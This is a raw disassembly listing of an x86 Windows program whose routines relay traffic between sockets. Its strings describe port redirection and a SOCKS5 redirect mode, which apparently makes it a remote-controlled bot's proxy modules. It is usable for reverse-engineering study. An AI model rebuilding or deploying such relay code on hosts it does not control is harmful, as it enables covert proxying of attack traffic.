mov [esp+2Ch+var_1C], ebx
push ecx
push 8004667Eh
push edx
call edi ; ioctlsocket
mov ecx, [esi+0A5h]
lea eax, [esp+38h+var_28]
push eax
push 8004667Eh
push ecx
mov [esp+44h+var_28], ebx
call edi ; ioctlsocket
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_42B70A
mov ebx, dword_50FC90
mov ebp, dword_50FC8C
loc_42B676: ; CODE XREF: sub_42B540+1BAj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+48h+var_20]
push 1000h
push eax
push ecx
call ebx ; recv
mov edi, eax
test edi, edi
jz short loc_42B70A
jge short loc_42B6A0
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42B702
loc_42B6A0: ; CODE XREF: sub_42B540+151j
mov eax, [esi+0A1h]
push 0
lea edx, [esp+58h+var_30]
push edi
push edx
push eax
call ebp ; send
mov edx, [esi+0A1h]
push 0
lea ecx, [esp+68h+var_40]
push 1000h
push ecx
push edx
call ebx ; recv
mov edi, eax
test edi, edi
jz short loc_42B70A
jge short loc_42B6DB
call near ptr 71AB94DCh
nop
cmp eax, 2733h
jnz short loc_42B702
loc_42B6DB: ; CODE XREF: sub_42B540+18Cj
mov ecx, [esi+0A5h]
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push ecx
call ebp ; send
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42B676
jmp short loc_42B70A
; ---------------------------------------------------------------------------
loc_42B702: ; CODE XREF: sub_42B540+15Ej
; sub_42B540+199j
push 0Ah
call near ptr 2850303h
nop
loc_42B70A: ; CODE XREF: sub_42B540+27j
; sub_42B540+124j ...
mov eax, [esi+0A1h]
mov edi, dword_50FC88
cmp eax, 0FFFFFFFFh
jz short loc_42B71E
push eax
call edi ; closesocket
loc_42B71E: ; CODE XREF: sub_42B540+1D9j
mov esi, [esi+0A5h]
cmp esi, 0FFFFFFFFh
jz short loc_42B72C
push esi
call edi ; closesocket
loc_42B72C: ; CODE XREF: sub_42B540+1E7j
pop edi
pop esi
pop ebp
pop ebx
add esp, 1014h
retn
sub_42B540 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 80h dup(0CCh)
db 6Ah ; j
db 0FFh
db 68h ; h
db 48h ; H
db 0BCh ; ╪
db 43h ; C
db 0
db 64h ; d
db 0A1h ; ║
db 0
db 0
db 0
db 0
db 50h ; P
db 64h ; d
db 89h ; ┴
db 25h ; %
db 0
db 0
db 0
db 0
db 51h ; Q
db 56h ; V
db 8Bh ; ▀
db 0F1h ; Я
db 89h ; ┴
db 74h ; t
db 24h ; $
db 4
db 0E8h ; Х
db 0A0h ; ═
db 67h ; g
db 0FDh ; Щ
db 0FFh
db 68h ; h
db 80h ; ─
db 3Dh ; =
db 44h ; D
db 0
db 8Dh ; █
db 4Eh ; N
db 11h
db 0C7h ; г
db 44h ; D
db 24h ; $
db 14h
db 0
db 0
db 0
db 0
db 0C7h ; г
db 6
db 0C0h ; ю
db 0E1h ; А
db 43h ; C
db 0
db 0E8h ; Х
db 0DAh ; з
db 5Dh ; ]
db 0FDh ; Щ
db 0FFh
db 8Bh ; ▀
db 4Ch ; L
db 24h ; $
db 8
db 8Bh ; ▀
db 0C6h ; ф
db 5Eh ; ^
db 64h ; d
db 89h ; ┴
db 0Dh
db 0
db 0
db 0
db 0
db 83h ; ┐
db 0C4h ; д
db 10h
db 0C3h ; ц
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42B830: ; CODE XREF: ___:loc_4015F0j
; ___:00401FAAj
push esi
mov esi, ecx
call sub_401B8B
test byte ptr [esp+8], 1
jz short loc_42B848
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42B848: ; CODE XREF: ___:0042B83Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42B860 proc near ; CODE XREF: sub_401B8Bj
jmp sub_40179E
sub_42B860 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42B880 proc near ; CODE XREF: sub_4019E2j
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42B880
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, [esi+3Fh]
lea ebx, [esi+43h]
push eax
mov ecx, ebx
lea edi, [esi+11h]
lea ebp, [esi+26h]
call sub_4017E4
mov ecx, [esi+3Bh]
push eax
push ecx
mov ecx, edi
call sub_4017E4
push eax
push offset aSRedirectingFr ; "[%s] Redirecting from Port %d to '%s:%d"...
mov ecx, ebp
call sub_4014D3
mov dl, [esi+98h]
push eax
mov al, [esi+97h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 24h
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42BAB8
mov dx, [esi+3Bh]
xor ecx, ecx
mov [esp+44h+var_2C], ecx
push edx
mov [esp+48h+var_28], ecx
mov word ptr [esp+48h+var_2C], 2
mov [esp+48h+var_24], ecx
mov [esp+48h+var_20], ecx
nop
call near ptr 71AB2B66h
mov ecx, [esi+9Dh]
mov word ptr [esp+44h+var_2C+2], ax
lea eax, [esp+44h+var_2C]
push 10h
push eax
push ecx
mov [esp+50h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42B96B
mov edx, [esi+9Dh]
push edx
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42B96B: ; CODE XREF: sub_42B880+C9j
mov eax, [esi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz loc_42BA64
loc_42B97F: ; CODE XREF: sub_42B880+1DEj
mov ecx, [esi+9Dh]
push 0Ah
push ecx
nop
call near ptr 71AB88D3h
cmp eax, 0FFFFFFFFh
jz loc_42BA45
mov ecx, [esi+9Dh]
lea edx, [esp+44h+var_34]
lea eax, [esp+44h+var_1C]
push edx
push eax
push ecx
nop
call near ptr 71AC1028h
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42BA45
xor edi, edi
cmp ebp, edi
jz loc_42BA45
push 0A9h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42B9E5
mov ecx, eax
call sub_401663
mov edi, eax
loc_42B9E5: ; CODE XREF: sub_42B880+15Aj
mov edx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], edx
mov eax, [esi+3Bh]
mov [edi+3Bh], eax
mov ecx, [esi+3Fh]
mov [edi+3Fh], ecx
push ebx
lea ecx, [edi+43h]
mov [esp+48h+var_4], 0FFFFFFFFh
call sub_401FBE
lea eax, [esi+26h]
lea ecx, [edi+26h]
push eax
mov [edi+0A1h], ebp
call sub_401FBE
mov dl, [esi+97h]
mov ecx, edi
mov [edi+97h], dl
mov al, [esi+98h]
mov [edi+98h], al
call sub_4013D4
loc_42BA45: ; CODE XREF: sub_42B880+111j
; sub_42B880+133j ...
push 0FAh
call near ptr 2850303h
nop
mov ecx, [esi+99h]
mov al, [ecx+11Ch]
test al, al
jnz loc_42B97F
loc_42BA64: ; CODE XREF: sub_42B880+F9j
mov eax, [esi+9Dh]
cmp eax, 0FFFFFFFFh
jz short loc_42BA76
push eax
nop
call near ptr 71AB9639h
loc_42BA76: ; CODE XREF: sub_42B880+1EDj
mov edx, [esi+3Fh]
mov ecx, ebx
push edx
call sub_4017E4
push eax
mov eax, [esi+3Bh]
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSFinishedRed_0 ; "[%s] Finished redirecting from port %d "...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 24h
loc_42BAB8: ; CODE XREF: sub_42B880+7Cj
mov ecx, [esp+44h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 34h
retn
sub_42B880 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42BB70 proc near ; CODE XREF: sub_4021DFj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42BB70
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 10h
push 3
push 14h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
mov esi, ecx
push 5
lea eax, [esp+74h+var_3C]
push 12h
push eax
mov dword ptr [esi+118h], 0
call sub_4019B5
add esp, 38h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_42BB70 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 12h
push 7
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+38h]
push 12h
push edx
call sub_4019B5
add esp, 38h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+32h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 14h
push 14h
push 8
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+3Ch]
push 12h
push ecx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+60h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea eax, [esp+40h]
push 12h
push eax
call sub_4019B5
add esp, 40h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+8Eh]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 49h
push 13h
push 0Bh
push 3
push 0Fh
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea edx, [esp+44h]
push 12h
push edx
call sub_4019B5
add esp, 44h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
push eax
lea eax, [esi+0BCh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 0Fh
push 14h
push 13h
push 4Fh
push 14h
push 3
push 5
push 12h
push 9
push 4
push 5
lea ecx, [esp+54h]
push 12h
push ecx
call sub_4019B5
add esp, 3Ch
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017E4
add esi, 0EAh
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0A0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42BE60: ; CODE XREF: ___:loc_40202Cj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43BD84
push eax
mov large fs:0, esp
sub esp, 68h
push ebx
push ebp
push esi
mov esi, [esp+84h]
mov ebp, ecx
push edi
lea edi, [esi+7Eh]
lea ecx, [ebp+4]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
or ebx, 0FFFFFFFFh
test eax, eax
jnz loc_42BFC7
push 0A1h
call sub_4367FA
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
dd 93E8C88Bh, 8BFFFD57h, 360068F8h, 448D0044h, 16A4C24h
dd 11C85C6h, 50010000h, 9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
dd 0FFFD57BAh, 84C7C88Bh, 8024h, 100h, 58DEE800h, 9050FFFDh
dd 7F000BE8h, 4C48377h, 48244C8Dh, 893B4789h, 80249Ch
dd 3E80000h, 68FFFD53h, 443600h, 4C244C8Dh, 8B51026Ah
dd 5778E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 6074E800h
dd 4C8DFFFDh, 9C894824h, 8024h, 52CCE800h, 68FFFDh, 8D004436h
dd 6A4C2454h, 0CE8B5203h, 0FD5741E8h, 0C7C88BFFh, 802484h
dd 30000h, 65E80000h, 50FFFD58h, 0FF92E890h, 0C483777Eh
dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h, 0FFFD528Ah
dd 8D69468Dh, 0E850264Fh, 0FFFD6016h, 938E8Ah, 8F880000h
dd 97h, 94968Ah, 0CF8B0000h, 989788h, 0DE80000h
db 54h, 0FDh, 0FFh
; ---------------------------------------------------------------------------
loc_42BFC7: ; CODE XREF: ___:0042BE9Dj
lea ecx, [ebp+32h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C0F7
push 9Dh
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 4
jz short loc_42C00E
mov ecx, eax
call sub_401889
mov edi, eax
jmp short loc_42C010
; ---------------------------------------------------------------------------
loc_42C00E: ; CODE XREF: ___:0042C001j
xor edi, edi
loc_42C010: ; CODE XREF: ___:0042C00Cj
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
push eax
lea ecx, [edi+58h]
mov dword ptr [esp+84h], 5
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+6Dh]
mov dword ptr [esp+84h], 6
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 3
push edx
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+82h]
mov dword ptr [esp+84h], 7
call sub_401FBE
lea ecx, [esp+48h]
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013D4
loc_42C0F7: ; CODE XREF: ___:0042BFDAj
lea ecx, [ebp+60h]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C220
push 0A2h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 8
jz short loc_42C13E
mov ecx, eax
call sub_4018DE
mov edi, eax
jmp short loc_42C140
; ---------------------------------------------------------------------------
loc_42C13E: ; CODE XREF: ___:0042C131j
xor edi, edi
loc_42C140: ; CODE XREF: ___:0042C13Cj
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push eax
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 9
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 2
push ecx
mov ecx, esi
call sub_4016AE
push offset aTrue ; "true"
mov ecx, eax
mov dword ptr [esp+84h], 0Ah
call sub_401500
test eax, eax
lea ecx, [esp+48h]
mov [esp+80h], ebx
setz byte ptr [esp+88h]
call sub_401226
mov al, [esp+88h]
test al, al
jz short loc_42C1EE
mov byte ptr [edi+9Dh], 1
jmp short loc_42C1F5
; ---------------------------------------------------------------------------
loc_42C1EE: ; CODE XREF: ___:0042C1E3j
mov byte ptr [edi+9Dh], 0
loc_42C1F5: ; CODE XREF: ___:0042C1ECj
lea edx, [esi+69h]
lea ecx, [edi+26h]
push edx
call sub_401FBE
mov al, [esi+93h]
mov [edi+97h], al
mov cl, [esi+94h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013D4
loc_42C220: ; CODE XREF: ___:0042C10Aj
lea ecx, [ebp+8Eh]
call sub_4017E4
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_42C2ED
push 0A1h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+88h], eax
test eax, eax
mov dword ptr [esp+80h], 0Bh
jz short loc_42C26A
mov ecx, eax
call sub_40216C
mov edi, eax
jmp short loc_42C26C
; ---------------------------------------------------------------------------
loc_42C26A: ; CODE XREF: ___:0042C25Dj
xor edi, edi
loc_42C26C: ; CODE XREF: ___:0042C268j
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 1
mov byte ptr [ebp+11Ch], 1
push edx
mov ecx, esi
mov [esp+8Ch], ebx
mov [edi+99h], ebp
call sub_4016AE
mov ecx, eax
mov dword ptr [esp+80h], 0Ch
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+48h]
mov [edi+3Bh], eax
mov [esp+80h], ebx
call sub_401226
lea eax, [esi+69h]
lea ecx, [edi+26h]
push eax
call sub_401FBE
mov cl, [esi+93h]
mov [edi+97h], cl
mov dl, [esi+94h]
mov ecx, edi
mov [edi+98h], dl
call sub_4013D4
loc_42C2ED: ; CODE XREF: ___:0042C236j
lea ecx, [ebp+0BCh]
call sub_4014D3
lea edi, [esi+7Eh]
push eax
mov ecx, edi
mov [esp+8Ch], edi
call sub_4012EE
test eax, eax
jnz loc_42C519
lea ecx, [esp+30h]
call sub_401424
lea ecx, [esp+18h]
mov dword ptr [esp+80h], 0Dh
call sub_401424
push offset asc_443600 ; " "
lea eax, [esp+4Ch]
push 2
push eax
mov ecx, esi
mov byte ptr [esp+8Ch], 0Eh
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+80h], 0Fh
call sub_4017E4
push eax
lea ecx, [esp+34h]
call sub_401A87
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
push offset asc_443600 ; " "
lea ecx, [esp+4Ch]
push 3
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+80h], 10h
call sub_4017E4
push eax
lea ecx, [esp+1Ch]
call sub_401A87
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+30h]
call sub_4014D3
cmp eax, offset byte_446F70
jnz short loc_42C3CF
push offset aRoot ; "root"
lea ecx, [esp+1Ch]
call sub_401A87
loc_42C3CF: ; CODE XREF: ___:0042C3BFj
lea ecx, [esp+18h]
call sub_4014D3
cmp eax, offset byte_446F70
jnz short loc_42C3ED
push offset byte_446F70
lea ecx, [esp+1Ch]
call sub_401A87
loc_42C3ED: ; CODE XREF: ___:0042C3DDj
push offset asc_443600 ; " "
lea edx, [esp+4Ch]
push 1
push edx
mov ecx, esi
call sub_4016AE
mov edi, eax
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 11h
call sub_4017E4
push eax
lea ecx, [esp+34h]
call sub_4017E4
push eax
mov ecx, edi
call sub_4017E4
mov edi, dword_50FB08
push eax
call edi ; atoi
add esp, 4
lea ecx, [esi+69h]
push eax
push offset aSocks5Starting ; "[Socks5] Starting Redirect [Port %d :: "...
call sub_4014D3
mov cl, [esi+93h]
push eax
mov al, [esi+94h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 20h
lea ecx, [esp+48h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+28h], esp
push eax
call sub_401861
lea ecx, [esp+48h]
mov byte ptr [esp+98h], 12h
call sub_4017E4
sub esp, 18h
mov ecx, esp
mov [esp+44h], esp
push eax
call sub_401861
push offset asc_443600 ; " "
lea edx, [esp+94h]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0BCh], 13h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+0B0h], 15h
call sub_4017E4
push eax
call edi ; atoi
add esp, 4
push eax
call sub_401C17
add esp, 34h
lea ecx, [esp+60h]
mov byte ptr [esp+80h], 0Eh
call sub_401226
lea ecx, [esp+18h]
mov byte ptr [esp+80h], 0Dh
call sub_401226
lea ecx, [esp+30h]
mov [esp+80h], ebx
call sub_401226
mov edi, [esp+88h]
loc_42C519: ; CODE XREF: ___:0042C30Cj
lea ecx, [ebp+0EAh]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42C536
mov [ebp+11Ch], al
loc_42C536: ; CODE XREF: ___:0042C52Ej
mov ecx, [esp+78h]
pop edi
pop esi
pop ebp
mov al, 1
mov large fs:0, ecx
pop ebx
add esp, 74h
retn 4
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 1C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C710 proc near ; CODE XREF: sub_4021A8j
var_4 = dword ptr -4
push ecx
mov edx, dword_447A8D
push esi
mov esi, ecx
mov eax, [esi+99h]
mov ecx, [eax+118h]
cmp edx, ecx
jl short loc_42C731
inc ecx
mov [eax+118h], ecx
loc_42C731: ; CODE XREF: sub_42C710+18j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+8]
mov eax, [esi+99h]
mov [esp+8+var_4], esi
mov ecx, [eax+118h]
dec ecx
mov [eax+118h], ecx
lea ecx, [esp+8+var_4]
push ecx
mov ecx, offset byte_4E6EDB
call sub_40120D
sub_42C710 endp
; ---------------------------------------------------------------------------
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C790 proc near ; CODE XREF: sub_401E06j
var_190 = byte ptr -190h
sub esp, 190h
lea eax, [esp+190h+var_190]
push eax
push 101h
call sub_436F4E
sub_42C790 endp
; ---------------------------------------------------------------------------
db 85h, 0C0h, 74h
dd 840D8B19h, 500050FAh, 6840C183h, 445414h, 54E89051h
dd 83778146h, 0C4810CC4h, 190h, 909090C3h, 90909090h, 4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
loc_42C7E0: ; CODE XREF: ___:00401D7Aj
mov eax, [esp+4]
test eax, eax
jz short loc_42C7F3
mov ecx, [eax+18h]
test ecx, ecx
jnz short loc_42C7F3
add eax, 44h
retn
; ---------------------------------------------------------------------------
loc_42C7F3: ; CODE XREF: ___:0042C7E6j
; ___:0042C7EDj
xor eax, eax
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C810 proc near ; CODE XREF: sub_401A69j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_12 = word ptr 16h
sub esp, 14h
mov ecx, [esp+14h+arg_0]
xor eax, eax
mov [esp+14h+var_10], eax
push ebx
push ebp
mov [esp+1Ch+var_C], eax
push esi
push edi
mov [esp+24h+var_8], eax
push ecx
mov [esp+28h+var_14], 1
mov [esp+28h+var_4], eax
mov word ptr [esp+28h+var_10], 2
call near ptr 77C46125h
nop
mov ebp, eax
push 3Ah
push ebp
nop
call near ptr 77C47660h
mov esi, eax
xor ebx, ebx
add esp, 0Ch
cmp esi, ebx
jnz short loc_42C884
push offset aTcp ; "tcp"
push offset aFtp ; "ftp"
call sub_436F96
; ---------------------------------------------------------------------------
dd 6C75C33Bh, 44546868h, 7BE89000h, 837780A5h, 0C03304C4h
dd 5B5D5E5Fh, 0C314C483h
; ---------------------------------------------------------------------------
loc_42C884: ; CODE XREF: sub_42C810+47j
mov [esi], bl
mov eax, dword_50FB14
inc esi
cmp dword ptr [eax], 1
jle short loc_42C8A2
movsx ecx, byte ptr [esi]
push 4
push ecx
call near ptr 77C1C561h
nop
add esp, 8
jmp short loc_42C8B2
; ---------------------------------------------------------------------------
loc_42C8A2: ; CODE XREF: sub_42C810+7Fj
mov eax, dword_50FA78
movsx edx, byte ptr [esi]
mov ecx, [eax]
mov al, [ecx+edx*2]
and eax, 4
loc_42C8B2: ; CODE XREF: sub_42C810+90j
cmp eax, ebx
jz short loc_42C8CD
push esi
nop
call near ptr 77C1BF18h
add esp, 4
push eax
call sub_436F36
; ---------------------------------------------------------------------------
mov [esp+arg_12], ax
jmp short sub_42C8E1
; ---------------------------------------------------------------------------
loc_42C8CD: ; CODE XREF: sub_42C810+A4j
push offset aTcp ; "tcp"
push esi
call sub_436F96
sub_42C810 endp
; ---------------------------------------------------------------------------
mov dx, [eax+8]
mov [esp+16h], dx
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42C8E1 proc near ; CODE XREF: sub_42C810+BBj
push ebp
call sub_436EF4
sub_42C8E1 endp
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
mov [esp+18h], eax
jnz short loc_42C92D
push ebp
call sub_436EE8
; ---------------------------------------------------------------------------
dw 0C33Bh
dd 58681875h, 0E8004454h, 7780A4EEh, 4C48390h, 5E5FC033h
dd 0C4835B5Dh, 0BF0FC314h, 408B0A48h, 8DD18B0Ch, 8B18247Ch
dd 2E9C130h, 0CA8BA5F3h, 0F303E183h
; ---------------------------------------------------------------------------
movsb
loc_42C92D: ; CODE XREF: ___:0042C8EEj
push ebp
mov ebp, dword_50FAC4
call ebp ; free
add esp, 4
push 6
push 1
push 2
call sub_436F3C
; ---------------------------------------------------------------------------
dd 0FF83F88Bh, 681875FFh, 445450h, 80A49DE8h, 0C4839077h
dd 5FC03304h, 835B5D5Eh, 8DC314C4h, 6A102444h, 46A5004h
dd 0FFFF68h, 0DE85700h, 830000A6h, 775FFF8h, 44544068h
dd 8D34EB00h, 6A14244Ch, 0E8575110h, 0A5B2h, 75FFF883h
dd 52406807h, 1BEB0044h, 14468h, 90016A00h, 7FF71AE8h
dd 83F08B77h, 0F33B08C4h, 38681E75h, 90004454h, 80A435E8h
dd 4C48377h, 0A540E857h, 5E5F0000h, 5BC0335Dh, 0C314C483h
dd 200068h, 2CE89000h, 83777FFAh, 0C33B04C4h, 75144689h
dd 54386824h, 3E80044h, 907780A4h, 5704C483h, 0A50DE8h
dd 0D5FF5600h, 3304C483h, 5D5E5FC0h, 14C4835Bh, 326A56C3h
dd 89087E89h, 5E89185Eh, 2446C71Ch, 1, 89305E89h, 5E892C5Eh
dd 345E8928h, 89385E89h, 5E89405Eh, 0DAE83Ch, 0C4830000h
dd 75C08508h, 0C3E8571Ch, 8B0000A4h, 0FF521456h, 0D5FF56D5h
dd 3308C483h, 5D5E5FC0h, 14C4835Bh, 24448BC3h, 30895F2Ch
dd 1B85D5Eh, 5B000000h, 0C314C483h, 90909090h, 28h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42CB10 proc near ; CODE XREF: sub_42DFD0+70p
var_8 = byte ptr -8
var_5 = byte ptr -5
var_4 = byte ptr -4
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, [esp+18h+arg_4]
push edi
push 100h
lea esi, [edi+44h]
push esi
call sub_42CC50
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_42CB4A
loc_42CB32: ; CODE XREF: sub_42CB10+8Ej
; sub_42CB10+D9j
push offset aControlSocketR ; "Control socket read failed"
nop
call near ptr 77C36DF2h
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42CB4A: ; CODE XREF: sub_42CB10+20j
mov eax, dword_50E3DC
mov ebx, dword_50FA80
cmp eax, 1
jle short loc_42CB6E
mov eax, dword_50FA84
push esi
add eax, 40h
push offset aS ; "%s"
push eax
call ebx ; fprintf
add esp, 0Ch
loc_42CB6E: ; CODE XREF: sub_42CB10+48j
cmp byte ptr [edi+47h], 2Dh
jnz short loc_42CBEE
push 3
lea ecx, [esp+1Ch+var_8]
push esi
push ecx
nop
call near ptr 77C47A90h
push edi
push 100h
push esi
mov [esp+30h+var_5], 20h
mov [esp+30h+var_4], 0
call sub_42CC50
add esp, 18h
cmp eax, 0FFFFFFFFh
jz short loc_42CB32
mov ebp, dword_50FAD4
loc_42CBA6: ; CODE XREF: sub_42CB10+D7j
